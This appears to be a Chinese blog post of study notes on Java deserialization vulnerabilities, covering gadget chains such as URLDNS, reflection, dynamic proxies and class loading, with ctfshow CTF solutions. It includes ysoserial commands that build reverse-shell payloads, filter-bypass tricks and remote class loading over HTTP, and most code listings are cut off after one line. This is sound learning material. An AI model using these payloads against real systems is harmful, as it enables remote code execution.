Java反序列化学习
参考资料
[Java-序列化和反序列化-学习笔记](https://github.com/bfengj/CTF/blob/main/Web/java/Java%E5%9F%BA%E7%A1%80/- Java-%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0)
Linux配置多个Java环境 不得不说,kali里面的update-alternatives真好用
重要接口和类(这段全是摘抄的)
- Serializable
这是一个空接口,实现了这个接口的类可以进行序列化/反序列化。
这个对象的所有属性(包括private属性、包括其引用的对象)都可以被序列化和反序列化来保存、传递。不想序列化的字段可以使用transient修饰。
由于Serializable对象完全以它存储的二进制位为基础来构造,因此并不会调用任何构造函数,因此Serializable类无需默认构造函数,但是当Serializable类的父类没有实现Serializable接口时,反序列化过程会调用父类的默认构造函数,因此该父类必需有默认构造函数,否则会抛异常。
使用transient关键字阻止序列化虽然简单方便,但被它修饰的属性被完全隔离在序列化机制之外,导致了在反序列化时无法获取该属性的值,而通过在需要序列化的对象的Java类里加入writeObject()方法与readObject()方法可以控制如何序列化各属性,甚至完全不序列化某些属性或者加密序列化某些属性。
如果一个对象既不是字符串、数组、枚举,而且也没有实现Serializable接口的话,在序列化时就会抛出NotSerializableException异常。原来Serializable接口仅仅只是做一个标记用,它告诉代码只要是实现了Serializable接口的类都是可以被序列化的!然而真正的序列化动作不需要靠它完成。
注意:被static和transient修饰的字段是不会被序列化的。
- Externalizable
这是一个继承自Serializable接口的接口,用户需实现writeExternal()和readExternal() 方法,用来决定如何序列化和反序列化。
因为序列化和反序列化方法需要自己实现,因此可以指定序列化哪些属性,而transient在这里无效。
readExternal(),writeExternal()两个方法,这两个方法除了方法签名和readObject(),writeObject()两个方法的方法签名不同之外,其方法体完全一样。
需要指出的是,当使用Externalizable机制反序列化该对象时,程序会使用public的无参构造器创建实例,然后才执行readExternal()方法进行反序列化,因此实现Externalizable的序列化类必须提供public的无参构造。
readObject
readObject()
方法:- 在自定义序列化时,您可以在类中定义
readObject()
方法。 - 当对象从流中反序列化时,
readObject()
方法会被调用,用于读取对象的属性并恢复其状态。 - 在
readObject()
方法中,您可以使用ObjectInputStream
提供的readXXX
方法来读取类的属性。 - 请注意,读取属性的顺序必须与
writeObject()
方法中写入属性的顺序相同。
- 在自定义序列化时,您可以在类中定义
writeObject
- 在自定义序列化时,您可以在类中定义
writeObject()
方法。 - 当对象被序列化时,
writeObject()
方法会被调用,用于将对象的属性写入流。 - 在
writeObject()
方法中,您可以使用ObjectOutputStream
提供的writeXXX
方法来写入类的属性。
- 在自定义序列化时,您可以在类中定义
ObjectOutputStream
java.io.ObjectOutputStream
是实现序列化的关键类,它可以将一个对象转换成二进制流,然后通过ObjectInputStream
将二进制流还原成对象。ObjectInputStream
java.io.ObjectInputStream
是实现Java反序列化的关键类,和ObjectOutputStream
是对应的。writeReplace
writeReplace
方法用于序列化写入时拦截并替换成一个自定义的对象。这个方法也是在ObjectStreamClass
类中被反射获取的
如果定义了writeReplace
方法,就没必要再定义writeObject
方法了。即使定义了writeObject
方法,该方法也不会被调用,内部会先调用writeReplace
方法将当前序列化对象替换成自定义目标对象。同理,也没必要定义readObject
方法,即使定义了也不会被调用。
- readReplace
readResolve
方法:
用于在对象从流中读取后进行解析。
典型用途是处理单例模式。当对象被读取时,可以将其替换为单例实例。这样可以确保通过序列化和反序列化单例对象,不会创建其他实例。
示例:如果一个对象包含一个可以从现有数据重新创建的缓存,而不需要序列化该缓存,可以将缓存字段声明为 transient
,然后在 readResolve()
中重新构建它。readReplace
方法:
用于替换从流中读取的对象。
当对象被读取时,可以将其替换为其他对象。
典型用途是在序列化代理中使用,以便在读取对象时返回不同的实例。
示例:您可以在 readReplace
中返回一个代理对象,以便在反序列化时返回不同的实例。
总之,readResolve
主要用于解析对象,而 readReplace
主要用于替换对象。如果您有更多问题,欢迎继续提问!
readResolve
方法用于反序列化拦截并替换成自定义的对象。但和writeReplace
方法不同的是,如果定义了readResolve
方法,readObject
方法是允许出现的。同样的,readResolve
方法也是在 ObjectStreamClass
类中被反射获取的。
readResolve
方法的工作原理为:
- 首先调用readObject0
方法得到反序列化结果。
- 如果readResolve
方法存在,则会调用该方法返回自定义的对象。
- 将自定义的对象作为ObjectInputStream
的readObject
的返回值。
- SealedObject SignedObject
通过加解密的方式来保护序列化安全
Java反序列化的可能利用方式
- 入口类readObject直接调用危险方法;
- 入口类参数中包含可控类,该类有危险方法,readObject时会调用;
- 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时会调用;
- 构造函数/静态代码块等类加载时隐式执行。
Java反序列化漏洞利用共同的条件:
总体而言,“就是找能调用危险方法的类,然后符合条件的入口类,这就是尾和头,然后通过层层类的调用将头和尾串联起来闭合”
- 需要继承Serializable
- 入口类(source):需要重写readObject,最好参数类型宽泛,或者是jdk自带的类。
- 调用链(gadget chain):根据相同名称、相同类型的各种类和接口不停地调用。
- 执行类(sink):rce、ssrf或者写文件
如:
Map<Object, object>
HashMap<Object, object> HashTable<Object, object>
- 入口类(source):需要重写readObject,最好参数类型宽泛,或者是jdk自带的类。
简单案例:入口类readObject直接调用危险方法
Person.java
1 | public class Person implements Serializable { |
SerializeTest.java
1 | public class SerializeTest { |
UnserializeTest.java
1 | public class UnserializeTest { |
Person类直接重写了readObject()
方法,造成弹计算器
1 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{ |
注意:这个方法是个私有方法,需要用private
修饰
案例2:序列化过程中的问题(以URLDNS链为例)
看这个代码:(URLDNS链)
1 | public class SerializeTest { |
在put的过程中,因为URL类在实例化对象的时候,其hashCode初始值为-1。这就会触发handler.hashCode()方法,然后就运行了InetAddress addr = getHostAddress(u);
,dnslog那边就有回显。
URL.java
1 | public synchronized int hashCode() { |
反序列化时却无法触发。这是因为,在进行初始化时,即运行HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
时,hashCode被初始化为-1。但是后面put的时候,URL的hashCode属性已经被赋值了,不是-1了,会直接运行return hashCode;
反序列化就没法触发了。
该如何改变这个问题呢?就是通过反射。
SerializeTest.java
1 | public class SerializeTest { |
UnserializeTest.java
1 | public class UnserializeTest { |
绕过了在put时对url.hashCode的检查。
整个的URLDNS链就是这样。
HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()
反射在反序列化漏洞中的应用
- 定制需要的对象;
- 通过invoke调用除了同名函数以外的函数;
- 通过Class类创建对象,引入不能序列化的类。(一般用于Java命令执行)
如,Java的命令执行一般为但是1
Runtime.getRuntime().exec("calc");
Runtime
无法被序列化。但我们又无法通过同名函数绕过(readObject()
的方法体里鲜少有getRuntime()
方法)。那么思路就是找到可以利用的invoke
方法,从而传入getRuntime
字符串作为参数。
小妙招:因为反射非常灵活,所以如果加入一些简单的过滤,我们可以这样绕过:
如,屏蔽了hashCode,这段代码会被过滤:
1 | Field hashcodefield = c.getDeclaredField("hashCode"); |
但是,因为我们传入的是字符串,所以可以通过字符串的操作来绕过这个过滤。
1 | Field hashcodefield = c.getDeclaredField("hash"+"Code"); |
例题学习: ctfshow-web入门 Java反序列化
web846
提示:
1 | ctfshow会对你post提交的ctfshow参数进行base64解码 |
URLDNS利用链。使用ysoserial来做。ysoserial最好在linux上运行,jdk弄到1.8。
1 | java -jar ysoserial.jar URLDNS "https://2e00f767-b3c3-44eb-9f32-5c37ef072ff8.challenge.ctf.show/" | base64 -w 0 |
经过r3师傅指点,知道了换行-w 0
会对输出造成影响。这里直接取消换行,即可通过。
还从这个wp偷了一个exp:
1 | public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { |
web847
1 | java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 |
直接弄个反弹shell
1 | java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}"|base64 |
试了CommonsCollections1、3,都不行,5成功了。
后面尝试手写。
附录和一些基础知识
Java 反射
Java 反射 概念 Powered By GPT
Java 反射是指在运行时检查、获取和操作类、接口、字段、方法以及构造方法的能力。通过 Java 反射,你可以在运行时获取类的信息,如类名、字段、方法、注解等,并可以动态地创建对象、调用方法、访问或修改字段值,而不需要在编译时确定这些操作。
Java 反射提供了以下主要功能:
- 获取类信息:可以获取类的名称、修饰符、父类、实现的接口等信息。
- 获取构造方法和实例化对象:可以获取类的构造方法并用它们来实例化对象。
- 获取方法信息:可以获取类的方法信息,包括方法名、参数列表、返回类型等。
- 调用方法:可以在运行时动态调用类的方法。
- 访问和修改字段:可以在运行时访问和修改类的字段值。
- 注解操作:可以获取类、方法、字段等上的注解信息。
反射是一种强大的工具,但同时也增加了复杂性和性能开销。因此,在使用反射时需要权衡其优点和缺点,并谨慎使用。
Java 反射 例子
Person.java
1 | public class Person { |
ReflectionExample.java
1 | import java.lang.reflect.Constructor; |
结果:
1 | Name: John Doe |
Java 动态代理
Java 静态代理 例子
首先设一个接口 IUser.java
1 | public interface IUser { |
根据这个接口实现一个类 UserImpl.java
1 | public class UserImpl implements IUser{ |
根据这个类实现一个代理类 UserProxy.java
1 | public class UserProxy implements IUser{ |
写一个测试主类 ProxyTest.java
1 | public class ProxyTest { |
运行ProxyTest.java,得到
1 | 直接implement |
Java 动态代理 例子
在上一节里,学习了静态代理的思路。但是当存在一系列方法非常相似的接口时,需要把这一系列方法接口全部在代理中实现,非常麻烦。所以引入了动态代理。
假如在上一个例子的基础上,接口IUser.java变成了这样:
1 | public interface IUser { |
相对的,UserImpl.java需要变成:
1 | public class UserImpl implements IUser{ |
如果要按照静态代理的方式,UserProxy.java也要完成新增方法的实现。
这里使用动态代理。ProxyTest.java:
1 | import java.lang.reflect.InvocationHandler; |
UserInvocationHandler.java:
1 | import java.lang.reflect.InvocationHandler; |
运行结果
1 | 直接show implement |
在使用动态代理的时候,Proxy.newProxyInstance()可以把classInterface变成class数组。
1 | IUser userproxydynamic = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(),userinvocationhandler); |
修改为:
1 | IUser userproxydynamic = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), |
动态代理在反序列化漏洞中的运用
动态代理作为一种设计模式,可以不修改原有类的同时增加功能,其修改代码较少,适配性较强。
- 自动执行:
readObject在反序列化时自动执行;
invoke在有函数调用时自动执行。 - 可以作为一种拼接两条链的方法:(如CC1)
出口固定,但是入口可以任意。任意->固定 - 应用场景:
- 如,
B
类的f
方法B.f
存在漏洞。 - 找到了入口
A
,其接受一个类。A[O]
。 - 接受这个类后,如果不存在直接的
O.f
触发漏洞,只有别的方法的调用,如O.abc
- 这个时候,如果
O
是一个动态代理类,且其invoke()
方法内可以调用f
。如,O
接受一个O2
,O2
可以调用f
,那么就可以将B
传进去做这个O2
,那么在invoke()
时就可以出发B.f
。因为动态代理无论调用什么方法都会调用invoke()
。 - 利用链:
A[O]->O.abc(此时会调用invoke())->B.f
Java 类加载机制和对象创建过程
类加载机制
- 类加载与反序列化
类加载时会执行代码:
- 初始化时:静态代码块
- 实例化时:构造代码块、无参构造函数。
- 动态类加载方法
Class.forname
方法可以动态加载类。
同时,加载类时可以选择初始化或者不初始化
如,ClassLoader.loadClass
是不进行初始化的一种调用方式。
URLClassLoader实现任意类加载 file/http/jar
存在敏感应用的类ser.java,将其编译得到class文件。
1 | public class ser { |
编写URLClassLoader进行外部类的加载。
1 | import java.net.MalformedURLException; |
成功弹计算器。当然,这里的URL也可以是任意其他协议,如http://vps_host:vps_port/malclass_dir/
。可以在那个有class文件的路径下开个HTTP服务,python -m http.server 9999
,然后用http协议来引入包
1 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://localhost:9999/")}); |
也是一样的。如果加载jar,就jar:file:///dir/xxx.jar!/
其中:
- 在 jar 包路径后面加上 !,表示 jar 文件的结束
- 如果要指定 jar 包中的具体类或资源路径,可以在 ! 后面添加相对路径。
ClassLoader.defineClass实现字节码加载任意类 (不需出网)
ClassLoader.defineClass是个protected的方法,所以需要使用反射调用,并设置Accessible为true。ser还是上面那个静态代码块里弹计算器的类。
1 | public class ClassLoaderTest{ |
Unsafe.defineClass实现字节码加载任意类 (不需出网)
Unsafe.defineClass字节码加载public类不能直接生成。Unsafe也不能直接调用。其一整个类都是private的。
1 | private Unsafe() {} |
直接运行
1 | Unsafe.getUnsafe(); |
时,会报错:
1 | Exception in thread "main" java.lang.SecurityException: Unsafe |
但是Unsafe在Spring里面可以直接生成加载。
Unsafe字节码加载任意类:ser还是上面那个静态代码块里弹计算器的类。
1 | public class ClassLoaderTest{ |